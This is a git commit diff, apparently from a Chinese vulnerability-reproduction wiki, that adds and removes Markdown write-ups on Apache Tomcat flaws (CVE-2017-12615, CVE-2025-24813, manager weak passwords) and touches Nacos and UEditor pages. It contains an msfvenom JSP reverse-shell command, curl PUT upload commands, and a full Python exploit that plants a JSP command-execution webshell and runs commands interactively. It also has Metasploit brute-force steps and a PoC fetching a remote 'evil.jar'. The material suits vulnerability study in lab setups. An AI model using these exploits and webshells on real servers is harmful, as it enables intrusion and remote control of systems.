update
Threekiii committed No files matched your search
@@ -410,4 +410,3 @@ _,data = t.perform_request('/asdf',attributes=[
|
||||
print('----------------------------')
|
||||
print("".join([d.data for d in data]))
|
||||
```
|
||||
|
||||
@@ -2,6 +2,8 @@
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
2017 年 9 月 19 日，Apache Tomcat 官方确认并修复了两个高危漏洞，其中就有远程代码执行漏洞 (CVE-2017-12615)。当 启用了 HTTP PUT 请求方法（例如，将 readonly 初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件，JSP 文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
|
||||
|
||||
参考：
|
||||
|
||||
- http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0107097.html
|
||||
@@ -77,3 +79,16 @@ int a = -1; byte[] b = new byte[2048]; out.print("<pre>");
|
||||
如下：
|
||||
|
||||
|
||||
|
||||
也可以用 PUT 方式上传。注意，最后一个 `/` 字符不可省略：
|
||||
|
||||
```shell
|
||||
# msf生成jsp木马
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=9999 -f raw > shell.jsp
|
||||
|
||||
# 通过PUT上传
|
||||
curl -v -X PUT --data-binary @shell.jsp "http://your-ip:8080/shell.jsp/"
|
||||
|
||||
# 通过DELETE删除
|
||||
curl -v -X DELETE "http://your-ip:8080/shell.jsp/"
|
||||
```
|
||||
@@ -256,6 +256,3 @@ else:
|
||||
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
|
||||
print(str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m")
|
||||
```
|
||||
|
||||
|
||||
|
||||
@@ -1,169 +0,0 @@
|
||||
# Apache Tomcat 远程代码执行漏洞 CVE-2017-12615
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
2017年9月19日，Apache Tomcat官方确认并修复了两个高危漏洞，其中就有远程代码执行漏洞(CVE-2017-12615)。当 启用了HTTP PUT请求方法（例如，将 readonly 初始化参数由默认值设置为 false），攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件，JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
```
|
||||
Apache Tomcat 7.0.0 - 7.0.81
|
||||
```
|
||||
|
||||
## 环境搭建
|
||||
|
||||
```plain
|
||||
https://github.com/vulhub/vulhub.git
|
||||
cd vulhub/tomcat/CVE-2017-12615
|
||||
docker-compose up -d
|
||||
```
|
||||
|
||||
访问 http://xxx.xxx.xxx.xxx:8080/ 正常即可
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
漏洞产生的主要原因来自于**conf/web.xml**文件配置错误,readonly开启了false,导致可以使用**PUT/DELETE**请求方法操作文件
|
||||
|
||||
|
||||
|
||||
**msf**生成一个**jsp**木马
|
||||
|
||||
```plain
|
||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=9999 -f raw > shell.jsp
|
||||
```
|
||||
|
||||
利用PUT方法上传木马
|
||||
|
||||
```plain
|
||||
curl -v -X PUT --data-binary @shell.jsp "http://81.68.139.186:8080/shell.jsp/"
|
||||
```
|
||||
|
||||
- 注意 http://xxx.xxx.xxx.xxx:8080/shell.jsp/中的最后一个"/"字符很重要
|
||||
|
||||
发现成功上传木马文件
|
||||
|
||||
|
||||
|
||||
访问文件即可反弹一个shell
|
||||
|
||||
|
||||
|
||||
也可以用**DELETE**请求方法删除文件
|
||||
|
||||
|
||||
|
||||
## 漏洞POC
|
||||
|
||||
- 代码只用于检测漏洞，反弹shell参照上方
|
||||
|
||||
```python
|
||||
#!/usr/bin/python3
|
||||
#-*- coding:utf-8 -*-
|
||||
# author : PeiQi
|
||||
# from : http://wiki.peiqi.tech
|
||||
|
||||
import hashlib
|
||||
import sys
|
||||
import requests
|
||||
import random
|
||||
import re
|
||||
|
||||
def title():
|
||||
print('+------------------------------------------')
|
||||
print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
|
||||
print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
|
||||
print('+ \033[34m公众号 : PeiQi文库 \033[0m')
|
||||
print('+ \033[34mVersion: Apache Tomcat 7.0.0 - 7.0.81 \033[0m')
|
||||
print('+ \033[36m使用格式: python3 CVE-2017-12615.py \033[0m')
|
||||
print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx:8080 \033[0m')
|
||||
print('+ \033[36mCmd >>> shell \033[0m')
|
||||
print('+ \033[36mCmd >>> exit(退出交互并删除webshell) \033[0m')
|
||||
print('+------------------------------------------')
|
||||
|
||||
def POC_1(target_url):
|
||||
md5_filename = str(random.randint(1,999)).encode("utf-8")
|
||||
file_name = hashlib.md5(md5_filename).hexdigest()
|
||||
vuln_put_url = target_url + "/" + file_name + ".jsp/"
|
||||
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
|
||||
}
|
||||
data = """
|
||||
<%
|
||||
if("peiqi".equals(request.getParameter("pwd"))){
|
||||
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
|
||||
int a = -1;
|
||||
byte[] b = new byte[1024];
|
||||
while((a=in.read(b))!=-1){
|
||||
out.println(new String(b));
|
||||
}
|
||||
}
|
||||
%>
|
||||
"""
|
||||
try:
|
||||
response = requests.request("PUT", url=vuln_put_url, data=data, headers=headers, timeout=30)
|
||||
if response.status_code == 201 or response.status_code == 201:
|
||||
print("\033[32m[o] 含有CVE-2017-12615漏洞，成功上传shell，文件名为{}.jsp,响应为{}\033[0m".format(file_name,response.status_code))
|
||||
return file_name
|
||||
else:
|
||||
print("\033[31m[x] 漏洞利用失败,PUT方法关闭 \033[0m")
|
||||
sys.exit(0)
|
||||
except:
|
||||
print("\033[31m[x] 漏洞利用失败,PUT方法关闭 \033[0m")
|
||||
sys.exit(0)
|
||||
|
||||
def POC_2(target_url, file_name, cmd):
|
||||
vuln_cmd_url = target_url + "/" + file_name + ".jsp?" + "pwd=peiqi&cmd=" + cmd
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
|
||||
}
|
||||
try:
|
||||
response = requests.get(url=vuln_cmd_url, headers=headers,timeout=30)
|
||||
if response.status_code == 200:
|
||||
print("\033[32m[o] 成功执行命令,响应为:\n\033[0m",response.text)
|
||||
else:
|
||||
print("\033[31m[x] 漏洞利用失败,命令无法执行 \033[0m")
|
||||
sys.exit(0)
|
||||
except:
|
||||
print("\033[31m[x] 漏洞利用失败,命令无法执行 \033[0m")
|
||||
sys.exit(0)
|
||||
|
||||
def POC_3(target_url, file_name):
|
||||
vuln_delect_url = target_url + "/" + file_name + ".jsp/"
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
|
||||
}
|
||||
try:
|
||||
response = requests.request("DELETE", url=vuln_delect_url, headers=headers, timeout=30)
|
||||
if response.status_code == 200 or 201:
|
||||
print("\033[32m[o] 成功删除shell，文件名为{}.jsp,响应为{}\033[0m".format(file_name,response.status_code))
|
||||
return file_name
|
||||
else:
|
||||
print("\033[31m[x] 删除失败 \033[0m")
|
||||
sys.exit(0)
|
||||
except:
|
||||
print("\033[31m[x] 删除失败 \033[0m")
|
||||
sys.exit(0)
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
title()
|
||||
target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
|
||||
file_name = POC_1(target_url)
|
||||
|
||||
while True:
|
||||
cmd = input("\033[35mCmd >>> \033[0m")
|
||||
if cmd == "exit":
|
||||
POC_3(target_url, file_name)
|
||||
sys.exit(0)
|
||||
else:
|
||||
POC_2(target_url, file_name, cmd)
|
||||
```
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Tomcat 远程代码执行漏洞 CVE-2025-24813
|
||||
# Apache Tomcat 远程代码执行漏洞 CVE-2025-24813
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
@@ -46,7 +46,7 @@ docker compose up -d
|
||||
|
||||
服务启动后，访问 `http://your-ip:8080` 即可看到 Tomcat 的示例页面。
|
||||
|
||||
|
||||
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
@@ -104,11 +104,11 @@ Content-Range: bytes 0-1000/1200
|
||||
YOUR-PAYLOAD-HERE
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
可以看到，文件 `.deserialize.session` 已经被写入：
|
||||
|
||||
|
||||
|
||||
|
||||
然后，发送另一个带有 JSESSIONID cookie 的请求，触发文件 `.deserialize.session` 的反序列化：
|
||||
|
||||
@@ -122,11 +122,11 @@ Accept-Encoding: gzip, deflate
|
||||
Cookie: JSESSIONID=.deserialize
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
URLDNS gadget 被成功反序列化，并发送了 DNS 请求：
|
||||
|
||||
|
||||
|
||||
|
||||
### CommonsCollectionsK1
|
||||
|
||||
@@ -158,7 +158,7 @@ docker compose up --force-recreate
|
||||
|
||||
用 [java-chains](https://github.com/vulhub/java-chains) 生成 payload：
|
||||
|
||||
|
||||
|
||||
|
||||
发送带有 Content-Range 头的部分 PUT 请求，在临时目录 `$CATALINA_BASE/work/Catalina/localhost/ROOT` 中写入名为 `.poc.session` 的文件：
|
||||
|
||||
@@ -176,11 +176,11 @@ Content-Range: bytes 0-1000/1200
|
||||
YOUR-PAYLOAD-HERE
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
可以看到，文件 `.poc.session` 已经被写入：
|
||||
|
||||
|
||||
|
||||
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
@@ -192,11 +192,11 @@ Accept-Encoding: gzip, deflate
|
||||
Cookie: JSESSIONID=.poc
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
CommonsCollectionsK1 gadget 被成功序列化，执行了 `touch /tmp/awesome_poc` 命令：
|
||||
|
||||
|
||||
|
||||
|
||||
## 漏洞修复
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Tomcat8 弱口令+后台getshell漏洞
|
||||
# Apache Tomcat8 弱口令 + 后台 getshell 漏洞
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
@@ -116,4 +116,3 @@ E:\Behinder3\server>jar -cvf project.war shell.jsp
|
||||
冰蝎 3 成功连接 `http://your-ip:8080/project/shell.jsp`：
|
||||
|
||||
|
||||
|
||||
@@ -1,119 +0,0 @@
|
||||
# Apache Tomcat8 弱口令+后台getshell漏洞
|
||||
|
||||
## 漏洞描述
|
||||
|
||||
Tomcat支持在后台部署war文件，可以直接将webshell部署到web目录下。其中，欲访问后台，需要对应用户有相应权限。
|
||||
|
||||
Tomcat7+权限分为：
|
||||
|
||||
- manager（后台管理）
|
||||
- manager-gui 拥有html页面权限
|
||||
- manager-status 拥有查看status的权限
|
||||
- manager-script 拥有text接口的权限，和status权限
|
||||
- manager-jmx 拥有jmx权限，和status权限
|
||||
- host-manager（虚拟主机管理）
|
||||
- admin-gui 拥有html页面权限
|
||||
- admin-script 拥有text接口权限
|
||||
|
||||
这些权限的究竟有什么作用，详情阅读 http://tomcat.apache.org/tomcat-8.5-doc/manager-howto.html
|
||||
|
||||
在`conf/tomcat-users.xml`文件中配置用户的权限：
|
||||
|
||||
```
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<tomcat-users xmlns="http://tomcat.apache.org/xml"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
|
||||
version="1.0">
|
||||
|
||||
<role rolename="manager-gui"/>
|
||||
<role rolename="manager-script"/>
|
||||
<role rolename="manager-jmx"/>
|
||||
<role rolename="manager-status"/>
|
||||
<role rolename="admin-gui"/>
|
||||
<role rolename="admin-script"/>
|
||||
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />
|
||||
|
||||
</tomcat-users>
|
||||
```
|
||||
|
||||
可见，用户tomcat拥有上述所有权限，密码是`tomcat`。
|
||||
|
||||
正常安装的情况下，tomcat8中默认没有任何用户，且manager页面只允许本地IP访问。只有管理员手工修改了这些属性的情况下，才可以进行攻击。
|
||||
|
||||
## 漏洞影响
|
||||
|
||||
Tomcat版本：8.0
|
||||
|
||||
## 环境搭建
|
||||
|
||||
Vulhub无需编译，直接启动整个环境：
|
||||
|
||||
```
|
||||
docker-compose up -d
|
||||
```
|
||||
|
||||
访问`http://your-ip:8080/`即可访问Apache Tomcat/8.0.43页面。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
### metasploit爆破tomcat弱口令
|
||||
|
||||
访问`http://your-ip:8080/`，点击Manager App：
|
||||
|
||||
|
||||
|
||||
跳转tomcat管理页面`http://your-ip:8080/manager/html`，提示输入用户名和密码：
|
||||
|
||||
|
||||
|
||||
在kali中使用metasploit对tomcat用户名和密码进行爆破：
|
||||
|
||||
```
|
||||
┌──(root kali)-[/home/kali]
|
||||
└─# msfconsole
|
||||
|
||||
# 搜索tomcat相关模块
|
||||
msf6 > search tomcat
|
||||
...
|
||||
23 auxiliary/scanner/http/tomcat_mgr_login normal No Tomcat Application Manager Login Utility
|
||||
...
|
||||
|
||||
# 使用tomcat_mgr_login模块进行爆破
|
||||
msf6 > use auxiliary/scanner/http/tomcat_mgr_login
|
||||
|
||||
# 设置服务地址
|
||||
msf6 auxiliary(scanner/http/tomcat_mgr_login) >show options
|
||||
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RHOSTS <your-ip>
|
||||
RHOSTS => <your-ip>
|
||||
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
|
||||
```
|
||||
|
||||
爆破成功，用户名密码为`tomcat:tomcat`：
|
||||
|
||||
|
||||
|
||||
输入弱密码`tomcat:tomcat`，即可访问后台。
|
||||
|
||||
### 制作war包并上传
|
||||
|
||||
首先制作war包`project.war`：
|
||||
|
||||
```
|
||||
E:\Behinder3\server>jar -cvf project.war shell.jsp
|
||||
已添加清单
|
||||
正在添加: shell.jsp(输入 = 612) (输出 = 449)(压缩了 26%)
|
||||
```
|
||||
|
||||
上传war包：
|
||||
|
||||
|
||||
|
||||
成功部署：
|
||||
|
||||
|
||||
|
||||
冰蝎3成功连接`http://your-ip:8080/project/shell.jsp`：
|
||||
|
||||
|
||||
|
||||
|
Before Width: | Height: | Size: 612 KiB |
|
Before Width: | Height: | Size: 217 KiB |
|
Before Width: | Height: | Size: 266 KiB |
|
Before Width: | Height: | Size: 493 KiB |
|
Before Width: | Height: | Size: 198 KiB |
|
Before Width: | Height: | Size: 246 KiB |
|
After Width: | Height: | Size: 527 KiB |
|
After Width: | Height: | Size: 391 KiB |
|
After Width: | Height: | Size: 56 KiB |
|
After Width: | Height: | Size: 455 KiB |
|
After Width: | Height: | Size: 24 KiB |
|
After Width: | Height: | Size: 600 KiB |
|
After Width: | Height: | Size: 666 KiB |
|
After Width: | Height: | Size: 57 KiB |
|
After Width: | Height: | Size: 497 KiB |
|
After Width: | Height: | Size: 61 KiB |
|
Before Width: | Height: | Size: 621 KiB |
|
Before Width: | Height: | Size: 27 KiB |
|
Before Width: | Height: | Size: 434 KiB |
|
Before Width: | Height: | Size: 515 KiB |
|
Before Width: | Height: | Size: 63 KiB |
|
Before Width: | Height: | Size: 734 KiB |
|
Before Width: | Height: | Size: 63 KiB |
|
Before Width: | Height: | Size: 583 KiB |
|
Before Width: | Height: | Size: 68 KiB |
|
Before Width: | Height: | Size: 669 KiB |
@@ -43,7 +43,7 @@ docker compose up -d
|
||||
执行 [POC](poc.py)：
|
||||
|
||||
```
|
||||
python poc.py -t http://your-ip:8848 -s http://some-webserver/evil.jar -c "id"
|
||||
python poc.py -t http://your-ip:8848 -s http://some-webserver/evil.jar -c "id"
|
||||
```
|
||||
|
||||
`-t` 参数指定目标地址，`-s` 参数指定恶意 JAR 包的地址，`-c` 参数指定要执行的命令。
|
||||
|
||||
@@ -8,6 +8,12 @@ UEditor 是由百度「FEX前端研发团队」开发的所见即所得富文本
|
||||
|
||||
|
||||
|
||||
查看版本：
|
||||
|
||||
```
|
||||
console.log(UE.version)
|
||||
```
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
### 0x01 文件读取漏洞
|
||||
@@ -52,8 +58,6 @@ http://xxxx/1.gif?.aspx
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### 0x03 php 版本文件上传
|
||||
|
||||
poc：
|
||||
@@ -206,4 +210,3 @@ Connection: keep-alive
|
||||
|
||||
upfile=https://www.google.com/?%23.jpg
|
||||
```
|
||||
|
||||